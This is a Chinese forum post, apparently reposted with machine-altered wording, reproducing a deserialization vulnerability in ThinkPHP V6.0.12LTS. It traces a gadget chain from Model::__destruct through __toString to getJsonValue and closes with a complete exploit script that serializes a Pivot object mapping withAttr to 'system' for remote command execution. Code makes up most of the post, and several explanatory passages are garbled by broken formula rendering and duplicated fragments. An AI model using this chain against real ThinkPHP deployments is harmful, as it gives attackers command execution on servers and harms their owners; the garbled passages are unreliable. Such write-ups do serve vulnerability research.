代码审计: ThinkPHP V6.0.12LTS反序列化毛病复现

打印 上一主题 下一主题

主题 820|帖子 820|积分 2460

源码下载

在我的个人免费资源内里
一、前缀知识

变乱回调:

概念:在某个特定变乱发生时,体系会调用预先定义好的函数(即回调函数)来处理该变乱。回调函数通常作为参数传递给触发变乱的函数大概注册到变乱处理器中。
工作流程:

  • 注册回调函数:在需要监听特定变乱的地方,开发者将一个函数注册为变乱的回调函数。这通常是通过将或作为参数或来实现的。
  • 触发变乱:当某个变乱发生时(好比按钮被点击、数据加载完成等),相应的代码或体系将触发该变乱。
  • 调用回调函数:一旦变乱被触发,体系将调用事先注册的回调函数,并传递给回调函数。
    将变乱的干系数据作为参数
  • 实行回调函数:回调函数将被实行,它会处理接收到的变乱数据,并实行相应的逻辑、利用大概回馈。
简单来说就是你在开发中给某个使命设置的闹钟或提醒。当使命要举行某个重要步骤前,你提前安排好一段代码(回调函数)在这个时刻被实行,这样就能在合适的时候自动实行你安排的特定利用。
更多变乱回调机制参考:https://blog.csdn.net/weixin_49167174/article/details/132521365
二、代码审计查找反序列化路由

在app/controller/index.php中找到/index/test路由中存在一个反序列化函数,并且,变量参数可控制
  1. <?php
  2. namespace app\controller;
  3. use app\BaseController;
  4. class Index extends BaseController
  5. {
  6.     public function index()
  7.     {
  8.         return '<style type="text/css">*{ padding: 0; margin: 0; } div{ padding: 4px 48px;} a{color:#2E5CD5;cursor: pointer;text-decoration: none} a:hover{text-decoration:underline; } body{ background: #fff; font-family: "Century Gothic","Microsoft yahei"; color: #333;font-size:18px;} h1{ font-size: 100px; font-weight: normal; margin-bottom: 12px; } p{ line-height: 1.6em; font-size: 42px }</style><div style="padding: 24px 48px;"> <h1>:) </h1><p> ThinkPHP V' . \think\facade\App::version() . '<br/><span style="font-size:30px;">14载初心不改 - 你值得信赖的PHP框架</span></p><span style="font-size:25px;">[ V6.0 版本由 <a href="https://www.yisu.com/" target="yisu">亿速云</a> 独家赞助发布 ]</span></div><script type="text/javascript" src="https://tajs.qq.com/stats?sId=64890268" charset="UTF-8"></script><script type="text/javascript" src="https://e.topthink.com/Public/static/client.js"></script><think id="ee9b1aa918103c4fc"></think>';
  9.     }
  10.     public function hello($name = 'ThinkPHP6')
  11.     {
  12.         return 'hello,' . $name;
  13.     }
  14.     public function test()
  15.     {
  16.            unserialize($_POST['a']);
  17.     }
  18.    
  19. }
复制代码
三、利用链分析

首先在对象反序列化时自动调用。我们需要寻找切入点,在反序列化中我们重点关注__wakeup()和__destruct()析构函数。
  1. //在对象反序列化时自动调用。
  2. __wakeup():
  3. //在对象被销毁时自动调用。
  4. __destruct():
复制代码
然后利用seay等代码审计工具全局搜刮这两个方法。然后审计代码寻找可以利用的点
SafeStorage.php
  1. <?php
  2. namespace League\Flysystem;
  3. final class SafeStorage
  4. {
  5.     /**
  6.      * @var string
  7.      */
  8.     private $hash;
  9.     /**
  10.      * @var array
  11.      */
  12.     protected static $safeStorage = [];
  13.     public function __construct()
  14.     {
  15.         $this->hash = spl_object_hash($this);
  16.         static::$safeStorage[$this->hash] = [];
  17.     }
  18.     public function storeSafely($key, $value)
  19.     {
  20.         static::$safeStorage[$this->hash][$key] = $value;
  21.     }
  22.     public function retrieveSafely($key)
  23.     {
  24.         if (array_key_exists($key, static::$safeStorage[$this->hash])) {
  25.             return static::$safeStorage[$this->hash][$key];
  26.         }
  27.     }
  28.     public function __destruct()
  29.     {
  30.         unset(static::$safeStorage[$this->hash]);
  31.     }
  32. }
复制代码
此函数用于安全存储,没有可以利用的点
AbstractFtpAdaper.php
  1. public function __destruct()
  2.     {
  3.         $this->disconnect();
  4.     }
  5.     /**
  6.      * Establish a connection.
  7.      */
  8.     abstract public function connect();
  9.     /**
  10.      * Close the connection.
  11.      */
  12.     abstract public function disconnect();
  13.     /**
  14.      * Check if a connection is active.
  15.      *
  16.      * @return bool
  17.      */
  18.     abstract public function isConnected();
  19.     protected function escapePath($path)
  20.     {
  21.         return str_replace(['*', '[', ']'], ['\\*', '\\[', '\\]'], $path);
  22.     }
复制代码
跟进disconnect函数
Ftp.php
  1.     /**
  2.      * Disconnect from the FTP server.
  3.      */
  4.     public function disconnect()
  5.     {
  6.         if ($this->hasFtpConnection()) {
  7.             @ftp_close($this->connection);
  8.         }
  9.         $this->connection = null;
  10.     }
复制代码
用于毗连断开时销毁,这里也没有存在可以利用的,我们继续查看下一段
AbstractCache.php
  1. <?php
  2. namespace League\Flysystem\Cached\Storage;
  3. use League\Flysystem\Cached\CacheInterface;
  4. use League\Flysystem\Util;
  5. abstract class AbstractCache implements CacheInterface
  6. {
  7.     /**
  8.      * @var bool
  9.      */
  10.     protected $autosave = true;
  11.     /**
  12.      * @var array
  13.      */
  14.     protected $cache = [];
  15.     /**
  16.      * @var array
  17.      */
  18.     protected $complete = [];
  19.     /**
  20.      * Destructor.
  21.      */
  22.     public function __destruct()
  23.     {
  24.         if (! $this->autosave) {
  25.             $this->save();
  26.         }
  27.     }
复制代码
这里默认autosave参数为true,但是我们可以构造autosave为false,实行__destruct()函数,我们查看save()方法的作用,AbstractCache.php实现了CacheInterface.php接口模板,但是没有详细定义实际代码,不存在利用
继续分析下一段代码
Model.php
  1.     /**
  2.      * 析构方法
  3.      * @access public
  4.      */
  5.     public function __destruct()
  6.     {
  7.         if ($this->lazySave) {
  8.             $this->save();
  9.         }
  10.     }
复制代码
默认                                   l                         a                         z                         y                         S                         a                         v                         e                         =                         =                         f                         a                         l                         s                         e                         ;                         ,想要实行                         s                         a                         v                         e                         (                         )                         需要将                              lazySave == false;,想要实行save()需要将                  lazySave==false;,想要实行save()需要将lazySave = true;
追踪实现的save()函数
  1.     /**
  2.      * 保存当前数据对象
  3.      * @access public
  4.      * @param array  $data     数据
  5.      * @param string $sequence 自增序列名
  6.      * @return bool
  7.      */
  8.     public function save(array $data = [], string $sequence = null): bool
  9.     {
  10.         // 数据对象赋值
  11.         $this->setAttrs($data);
  12.         if ($this->isEmpty() || false === $this->trigger('BeforeWrite')) {
  13.             return false;
  14.         }
  15.         $result = $this->exists ? $this->updateData() : $this->insertData($sequence);
  16.         if (false === $result) {
  17.             return false;
  18.         }
  19.         // 写入回调
  20.         $this->trigger('AfterWrite');
  21.         // 重新记录原始数据
  22.         $this->origin   = $this->data;
  23.         $this->get      = [];
  24.         $this->lazySave = false;
  25.         return true;
  26.     }
复制代码
关注 if ($this->isEmpty() || false === $this->trigger(‘BeforeWrite’))。需要实行后续代码不能直接return我们需要先绕过第一个if判断
追踪isEmpty()函数
  1.     public function isEmpty(): bool
  2.     {
  3.         return empty($this->data);
  4.     }
复制代码
条件1:需要满意
$this->isEmpty()==false
  1. $this->data != null;
复制代码
追踪trigger()函数
  1.     protected function trigger(string $event): bool
  2.     {
  3.         if (!$this->withEvent) {
  4.             return true;
  5.         }
  6.         $call = 'on' . Str::studly($event);
  7.         try {
  8.             if (method_exists(static::class, $call)) {
  9.                 $result = call_user_func([static::class, $call], $this);
  10.             } elseif (is_object(self::$event) && method_exists(self::$event, 'trigger')) {
  11.                 $result = self::$event->trigger('model.' . static::class . '.' . $event, $this);
  12.                 $result = empty($result) ? true : end($result);
  13.             } else {
  14.                 $result = true;
  15.             }
  16.             return false === $result ? false : true;
  17.         } catch (ModelEventException $e) {
  18.             return false;
  19.         }
  20.     }
复制代码
参数$withEvent默以为true;
  1. protected $withEvent = true;
复制代码
条件2:需要满意
$this->trigger('BeforeWrite')==true
  1. $this->withEvent==false;
复制代码
然后继续回过头来分析这个条件语句
  1. $result = $this->exists ? $this->updateData() : $this->insertData($sequence);
复制代码
ModelEvent.php中$exists默以为false。
我们先查看
$this->updateData()
  1.     protected function updateData(): bool
  2.     {
  3.         // 事件回调
  4.         if (false === $this->trigger('BeforeUpdate')) {
  5.             return false;
  6.         }
  7.         $this->checkData();
  8.         // 获取有更新的数据
  9.         $data = $this->getChangedData();
  10.         if (empty($data)) {
  11.             // 关联更新
  12.             if (!empty($this->relationWrite)) {
  13.                 $this->autoRelationUpdate();
  14.             }
  15.             return true;
  16.         }
  17.         if ($this->autoWriteTimestamp && $this->updateTime) {
  18.             // 自动写入更新时间
  19.             $data[$this->updateTime]       = $this->autoWriteTimestamp();
  20.             $this->data[$this->updateTime] = $data[$this->updateTime];
  21.         }
  22.         // 检查允许字段
  23.         $allowFields = $this->checkAllowFields();
  24.         foreach ($this->relationWrite as $name => $val) {
  25.             if (!is_array($val)) {
  26.                 continue;
  27.             }
  28.             foreach ($val as $key) {
  29.                 if (isset($data[$key])) {
  30.                     unset($data[$key]);
  31.                 }
  32.             }
  33.         }
复制代码
如果需要直接后续代码就需要先绕过前面两个判断条件
  1. $this->trigger('BeforeUpdate')==true
  2. $data!=null
复制代码
第一个判断条件:
  1.         if (false === $this->trigger('BeforeUpdate')) {
  2.             return false;
  3.         }
  4.         
复制代码
  1.     protected function trigger(string $event): bool
  2.     {
  3.         if (!$this->withEvent) {
  4.             return true;
  5.         }
  6.         $call = 'on' . Str::studly($event);
  7.         try {
  8.             if (method_exists(static::class, $call)) {
  9.                 $result = call_user_func([static::class, $call], $this);
  10.             } elseif (is_object(self::$event) && method_exists(self::$event, 'trigger')) {
  11.                 $result = self::$event->trigger('model.' . static::class . '.' . $event, $this);
  12.                 $result = empty($result) ? true : end($result);
  13.             } else {
  14.                 $result = true;
  15.             }
  16.             return false === $result ? false : true;
  17.         } catch (ModelEventException $e) {
  18.             return false;
  19.         }
  20.     }
复制代码
在上面的条件中,已经满意trigger函数为true,以是我们只需要关注第二个判断条件
第二个判断条件:
  1.         
  2.         if (empty($data)) {
  3.             // 关联更新
  4.             if (!empty($this->relationWrite)) {
  5.                 $this->autoRelationUpdate();
  6.             }
  7.             return true;
  8.         }
复制代码
寻找$data数据的泉源
  1. $data = $this->getChangedData();
复制代码
分析getChangedData()函数的实现
在vendor/topthink/think-orm/src/model/concert/Attribute.php中只需要$data不为null就可以了
  1.     public function getChangedData(): array
  2.     {
  3.         $data = $this->force ? $this->data : array_udiff_assoc($this->data, $this->origin, function ($a, $b) {
  4.             if ((empty($a) || empty($b)) && $a !== $b) {
  5.                 return 1;
  6.             }
  7.             return is_object($a) || $a != $b ? 1 : 0;
  8.         });
  9.         // 只读字段不允许更新
  10.         foreach ($this->readonly as $key => $field) {
  11.             if (array_key_exists($field, $data)) {
  12.                 unset($data[$field]);
  13.             }
  14.         }
  15.         return $data;
  16.     }
复制代码
先分析判断语句
  1. $data = $this->force ? $this->data : array_udiff_assoc($this->data, $this->origin, function ($a, $b) {
  2.             if ((empty($a) || empty($b)) && $a !== $b) {
  3.                 return 1;
  4.             }
  5.             return is_object($a) || $a != $b ? 1 : 0;
  6.         });
复制代码
$force没有定义,默认实行
  1. array_udiff_assoc($this->data, $this->origin, function ($a, $b) {
  2.             if ((empty($a) || empty($b)) && $a !== $b) {
  3.                 return 1;
  4.             }
  5.             return is_object($a) || $a != $b ? 1 : 0;
  6.         })
  7. array_udiff_assoc函数用于比较数组的不同
  8. $this->force == null;
  9. private $data = []
  10. private $origin = []
复制代码
因为
$data ==                                    o                         r                         i                         g                         i                         n                         以是                         i                         f                         (                         (                         e                         m                         p                         t                         y                         (                              origin 以是 if ((empty(                  origin以是if((empty(a) || empty($b)) && $a !==                                    b                         )                         中的                              b) 中的                  b)中的a !== $b不满意条件
实行
return is_object($a) || $a != $b ? 1 : 0;
末了$data = 0;满意之前updateData()函数中的第二个判断条件
  1. $data!=null
复制代码
回到updateData()中进入到checkAllowFields()函数
  1.     /**
  2.      * 检查数据是否允许写入
  3.      * @access protected
  4.      * @return array
  5.      */
  6.     protected function checkAllowFields(): array
  7.     {
  8.         // 检测字段
  9.         if (empty($this->field)) {
  10.             if (!empty($this->schema)) {
  11.                 $this->field = array_keys(array_merge($this->schema, $this->jsonType));
  12.             } else {
  13.                 $query = $this->db();
  14.                 $table = $this->table ? $this->table . $this->suffix : $query->getTable();
  15.                 $this->field = $query->getConnection()->getTableFields($table);
  16.             }
  17.             return $this->field;
  18.         }
  19.         $field = $this->field;
  20.         if ($this->autoWriteTimestamp) {
  21.             array_push($field, $this->createTime, $this->updateTime);
  22.         }
  23.         if (!empty($this->disuse)) {
  24.             // 废弃字段
  25.             $field = array_diff($field, $this->disuse);
  26.         }
  27.         return $field;
  28.     }
复制代码
我们继续跟进db()可以注意到存在一个字符串拼接利用$this->table . $this->suffix,通过字符串拼接可以进入到__toString()方法中。需要满意
  1. 默认
  2. $this->field==null
  3. $this->schema==null
复制代码
我们先将这个函数放置一边,我们需要先全局搜刮__toString()方法,然后在子目次下的Conversion.php中找到一个__toString()方法
  1.   public function __toString()
  2.   {
  3.       return $this->toJson();
  4.   }
复制代码
函数追踪
  1.   public function toJson(int $options = JSON_UNESCAPED_UNICODE): string
  2.   {
  3.       return json_encode($this->toArray(), $options);
  4.   }
复制代码
进入toArray()
  1. public function toArray(): array
  2.     {
  3.         $item       = [];
  4.         $hasVisible = false;
  5.         foreach ($this->visible as $key => $val) {
  6.             if (is_string($val)) {
  7.                 if (strpos($val, '.')) {
  8.                     [$relation, $name]          = explode('.', $val);
  9.                     $this->visible[$relation][] = $name;
  10.                 } else {
  11.                     $this->visible[$val] = true;
  12.                     $hasVisible          = true;
  13.                 }
  14.                 unset($this->visible[$key]);
  15.             }
  16.         }
  17.         foreach ($this->hidden as $key => $val) {
  18.             if (is_string($val)) {
  19.                 if (strpos($val, '.')) {
  20.                     [$relation, $name]         = explode('.', $val);
  21.                     $this->hidden[$relation][] = $name;
  22.                 } else {
  23.                     $this->hidden[$val] = true;
  24.                 }
  25.                 unset($this->hidden[$key]);
  26.             }
  27.         }
  28.         // 合并关联数据
  29.         $data = array_merge($this->data, $this->relation);
  30.                                 //遍历data数组中的元素
  31.         foreach ($data as $key => $val) {
  32.             if ($val instanceof Model || $val instanceof ModelCollection) {
  33.                 // 关联模型对象
  34.                 if (isset($this->visible[$key]) && is_array($this->visible[$key])) {
  35.                     $val->visible($this->visible[$key]);
  36.                 } elseif (isset($this->hidden[$key]) && is_array($this->hidden[$key])) {
  37.                     $val->hidden($this->hidden[$key]);
  38.                 }
  39.                 // 关联模型对象
  40.                 if (!isset($this->hidden[$key]) || true !== $this->hidden[$key]) {
  41.                     $item[$key] = $val->toArray();
  42.                 }
  43.             } elseif (isset($this->visible[$key])) {
  44.                 $item[$key] = $this->getAttr($key);
  45.             } elseif (!isset($this->hidden[$key]) && !$hasVisible) {
  46.                 $item[$key] = $this->getAttr($key);
  47.              if (isset($this->mapping[$key])) {
  48.                 // 检查字段映射
  49.                 $mapName        = $this->mapping[$key];
  50.                 $item[$mapName] = $item[$key];
  51.                 unset($item[$key]);
  52.             }
  53.         }
复制代码
第34行遍历data数组中的第一个if中没什么可利用的,如果遍历的对象为Model大概ModelCollection类中的实例的话,就进入到第一个if。我们继续查看下一个elseif中的内容
  1. elseif (isset($this->visible[$key])) {
  2.                 $item[$key] = $this->getAttr($key);
复制代码
追踪到getAttr()函数中(这里的                                   k                         e                         y                         为                              key为                  key为data数组的遍历的键名)
  1.     /**
  2.      * 获取器 获取数据对象的值
  3.      * @access public
  4.      * @param  string $name 名称
  5.      * @return mixed
  6.      * @throws InvalidArgumentException
  7.      */
  8.     public function getAttr(string $name)
  9.     {
  10.         try {
  11.             $relation = false;
  12.             $value    = $this->getData($name);
  13.         } catch (InvalidArgumentException $e) {
  14.             $relation = $this->isRelationAttr($name);
  15.             $value    = null;
  16.         }
  17.         return $this->getValue($name, $value, $relation);
  18.     }
复制代码
先进入到getData()
  1.     /**
  2.      * 获取当前对象数据 如果不存在指定字段返回false
  3.      * @access public
  4.      * @param  string $name 字段名 留空获取全部
  5.      * @return mixed
  6.      * @throws InvalidArgumentException
  7.      */
  8.     public function getData(string $name = null)
  9.     {
  10.         if (is_null($name)) {
  11.             return $this->data;
  12.         }
  13.         $fieldName = $this->getRealFieldName($name);
  14.         if (array_key_exists($fieldName, $this->data)) {
  15.             return $this->data[$fieldName];
  16.         } elseif (array_key_exists($fieldName, $this->relation)) {
  17.             return $this->relation[$fieldName];
  18.         }
  19.         throw new InvalidArgumentException('property not exists:' . static::class . '->' . $name);
  20.     }
复制代码
我们可以注意到这一行
  1. if (array_key_exists($fieldName, $this->data)) {
  2.       return $this->data[$fieldName];
复制代码
这里的返回数据是根据data[]数组的值决定的,data[]数组是我们可以控制的,在这之前
我们需要先进入到getRealFieldName($name)中
  1.     /**
  2.      * 获取实际的字段名
  3.      * @access protected
  4.      * @param  string $name 字段名
  5.      * @return string
  6.      */
  7.     protected function getRealFieldName(string $name): string
  8.     {
  9.         if ($this->convertNameToCamel || !$this->strict) {
  10.             return Str::snake($name);
  11.         }
  12.         return $name;
  13.     }
复制代码
代码的作用是将传进来的字符串格式举行转换
  1. 默认
  2. convertNameToCamel == null
  3. stric = true
复制代码
以是直接返回$name
回到getData()
以是下面这段代码的作用是返回$data数组中的传入的键名的值
  1. if (array_key_exists($fieldName, $this->data)) {
  2.       return $this->data[$fieldName];
复制代码
再返回上一级getAttr()函数
  1. return $this->getValue($name, $value, $relation)
  2. 相当于
  3. return $this->getValue($name,$this->data[$key], $relation)
复制代码
追踪到getValue()函数
  1. /**
  2. * 获取经过获取器处理后的数据对象的值
  3. * @access protected
  4. * @param  string      $name 字段名称
  5. * @param  mixed       $value 字段值
  6. * @param  bool|string $relation 是否为关联属性或者关联名
  7. * @return mixed
  8. * @throws InvalidArgumentException
  9. */
  10. protected function getValue(string $name, $value, $relation = false)
  11. {
  12.     // 检测属性获取器
  13.     $fieldName = $this->getRealFieldName($name);
  14.     if (array_key_exists($fieldName, $this->get)) {
  15.         return $this->get[$fieldName];
  16.     }
  17.     $method = 'get' . Str::studly($name) . 'Attr';
  18.     if (isset($this->withAttr[$fieldName])) {
  19.         if ($relation) {
  20.             $value = $this->getRelationValue($relation);
  21.         }
  22.         if (in_array($fieldName, $this->json) && is_array($this->withAttr[$fieldName])) {
  23.             $value = $this->getJsonValue($fieldName, $value);
  24.         } else {
  25.             $closure = $this->withAttr[$fieldName];
  26.             if ($closure instanceof \Closure) {
  27.                 $value = $closure($value, $this->data);
  28.             }
  29.         }
  30.     } elseif (method_exists($this, $method)) {
  31.         if ($relation) {
  32.             $value = $this->getRelationValue($relation);
  33.         }
  34.         $value = $this->$method($value, $this->data);
  35.     } elseif (isset($this->type[$fieldName])) {
  36.         // 类型转换
  37.         $value = $this->readTransform($value, $this->type[$fieldName]);
  38.     } elseif ($this->autoWriteTimestamp && in_array($fieldName, [$this->createTime, $this->updateTime])) {
  39.         $value = $this->getTimestampValue($value);
  40.     } elseif ($relation) {
  41.         $value = $this->getRelationValue($relation);
  42.         // 保存关联对象值
  43.         $this->relation[$name] = $value;
  44.     }
  45.     $this->get[$fieldName] = $value;
  46.     return $value;
  47. }
复制代码
在这里绕过if判断条件需要构造                                   f                         i                         e                         l                         d                         N                         a                         m                         e                         存在于                              fieldName 存在于                  fieldName存在于this→json中,并且$this→withAttr要为数组
  1. if (in_array($fieldName, $this->json) && is_array($this->withAttr[$fieldName])) {
  2.     $value = $this->getJsonValue($fieldName, $value);
复制代码
  其中因为getRealFieldName($name) 中的                                        t                            h                            i                            s                            −                            >                            s                            t                            r                            i                            c                            t                            =                            =                            t                            r                            u                            e                            。以是                                  this->strict==true。以是                     this−>strict==true。以是filename ==                                         n                            a                            m                            e                            ;                                  name;                     name;value为之前的                                        t                            h                            i                            s                            →                            d                            a                            t                            a                            [                                  this→data[                     this→data[key]
  然后我们进入到getJsonValue()函数
  1. /**
  2. * 获取JSON字段属性值
  3. * @access protected
  4. * @param  string $name  属性名
  5. * @param  mixed  $value JSON数据
  6. * @return mixed
  7. */
  8. protected function getJsonValue($name, $value)
  9. {
  10.     if (is_null($value)) {
  11.         return $value;
  12.     }
  13.     foreach ($this->withAttr[$name] as $key => $closure) {
  14.         if ($this->jsonAssoc) {
  15.             $value[$key] = $closure($value[$key], $value);
  16.         } else {
  17.             $value->$key = $closure($value->$key, $value);
  18.         }
  19.     }
  20.     return $value;
  21. }
复制代码
到这里我们发现有一个可以自定义函数
  1. foreach ($this->withAttr[$name] as $key => $closure) {
  2.     if ($this->jsonAssoc) {
  3.         $value[$key] = $closure($value[$key], $value);
  4.     } else {
  5.         $value->$key = $closure($value->$key, $value);
  6.     }
  7. }
复制代码
我们可以自定义$withAttr数组
遍历数组的值并将它赋值给$closure
  1. foreach ($this->withAttr[$name] as $key => $closure)
复制代码
                                   c                         l                         o                         s                         u                         r                         e                         是一个函数,我们可以将键值设置为危险函数,好比                         s                         y                         s                         t                         e                         m                         。键名应该与                              closure是一个函数,我们可以将键值设置为危险函数,好比system。键名应该与                  closure是一个函数,我们可以将键值设置为危险函数,好比system。键名应该与name相当。
                                    v                         a                         l                         u                         e                         为                              value为                  value为data数组的键值,在这里为函数的参数,到了这里我们整个反序列化链就竣事了,可以实行rce命令
构造exp

我们先梳理__toString()的参数传递过程
  1. Conversion::__toString()
  2. Conversion::toJson()
  3. Conversion::toArray()
  4. Attribute::getAttr()
  5. Attribute::getData()
  6. Attribute::getValue()
  7. Attribute::getJsonValue()
复制代码
初次出现可控参数的点在Conversion::toArray()中控制$data数据
  1. $this->data=['whoami'=>['ls']];
复制代码
然后进入到Attribute::getAttr()函数中,Attribute::getData()中的Attribute::getRealFieldName(                                   n                         a                         m                         e                         )                         中的                              name)中的                  name)中的strict默以为true,Attribute::convertNameToCamel默以为null以是getData($name) == $name;也就是等于’whoami’
然后Attribute::getValue()中对withAttr和json举行了验证
  1. if (in_array($fieldName, $this->json) && is_array($this->withAttr[$fieldName])) {
  2.               $value = $this->getJsonValue($fieldName, $value);
  3.           }
复制代码
要求’whoami’存在于json中,以是                                   t                         h                         i                         s                         −                         >                         j                         s                         o                         n                         =                                   [                            ′                                  w                         h                         o                         a                         m                                   i                            ′                                  ]                         。同时需要                         w                         i                         t                         h                         A                         t                         t                         r                         是一个数组,而且要控制键值为可实行函数的话,就需要对应的键值和’                         w                         h                         o                         a                         m                         i                         相当’,以是                              this->json=['whoami']。同时需要withAttr是一个数组,而且要控制键值为可实行函数的话,就需要对应的键值和’whoami相当’,以是                  this−>json=[′whoami′]。同时需要withAttr是一个数组,而且要控制键值为可实行函数的话,就需要对应的键值和’whoami相当’,以是this->withAttr[‘whoami’=>[‘system’]]
接下来我们梳理__destruct()函数的触发过程
  1. Model::__destruct()
  2. Model::updateData()
  3. Model::checkAllowFields()
  4. Model::db()
复制代码
我们找到第一个可控参数在Model::__destruct()中需要
  1. $this->lazySave=true;
复制代码
然后需要绕过
  1. if ($this->isEmpty() || false === $this->trigger('BeforeWrite'))
复制代码
绕过isEmpty(),                                   d                         a                         t                         a                         数据不为空,                              data数据不为空,                  data数据不为空,this->trigger(‘BeforeWrite’)默以为true。
然后在下面的判断语句$result = $this->exists ? $this->updateData() :                                    t                         h                         i                         s                         −                         >                         i                         n                         s                         e                         r                         t                         D                         a                         t                         a                         (                              this->insertData(                  this−>insertData(sequence);这里我们需要进入updateData(),但是                                   t                         h                         i                         s                         −                         >                         e                         x                         i                         s                         t                         s                         默以为                         f                         a                         l                         s                         e                         ,我们需要更改                              this->exists默以为false,我们需要更改                  this−>exists默以为false,我们需要更改this->exists为true
  1. $this->exists=true
复制代码
末了进入Model::db(),实行查询语句,$this_table触发__toString()
首先Model类是一个抽象类,不能实例化,以是要想利用,得找出 Model 类的一个子类举行实例化,而且use了刚才__toString 利用过程中使用的接口Conversion和Attribute,以是关键字可以直接用
末了全局搜刮Model的子类,找到了一个Pivot子类,开始构造exp
  1. <?php
  2. // 保证命名空间的一致
  3. namespace think {
  4.     // Model需要是抽象类
  5.     abstract class Model {
  6.         // 需要用到的关键字
  7.         private $lazySave = false;
  8.         private $data = [];
  9.         private $exists = false;
  10.         protected $table;
  11.         private $withAttr = [];
  12.         protected $json = [];
  13.         protected $jsonAssoc = false;
  14.         // 初始化
  15.         public function __construct($obj='') {
  16.             $this->lazySave = true;
  17.             $this->data = ['whoami'=>['ls']];
  18.             $this->exists = true;
  19.             $this->table = $obj;    // 用对象进行字符串拼接操作触发__toString
  20.             $this->withAttr = ['whoami'=>['system']];
  21.             $this->json = ['whoami'];
  22.             $this->jsonAssoc = true;
  23.         }
  24.     }
  25. }
  26. namespace think\model {
  27.     use think\Model;
  28.     class Pivot extends Model {
  29.     }
  30.     // 实例化
  31.     $p = new Pivot(new Pivot());
  32.     echo urlencode(serialize($p));
  33. }
复制代码
末了
在撰写这篇文章的过程中,我尽力确保内容的正确和全面,但不免会有疏漏的地方。如果您发现任何错误或有任何改进发起,请不要犹豫,随时告诉我。我非常乐意接受您的宝贵发起,并会及时举行修改。
再次感谢您的阅读和支持,希望这篇文章对您有所资助!

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

梦见你的名字

金牌会员
这个人很懒什么都没写!

标签云

快速回复 返回顶部 返回列表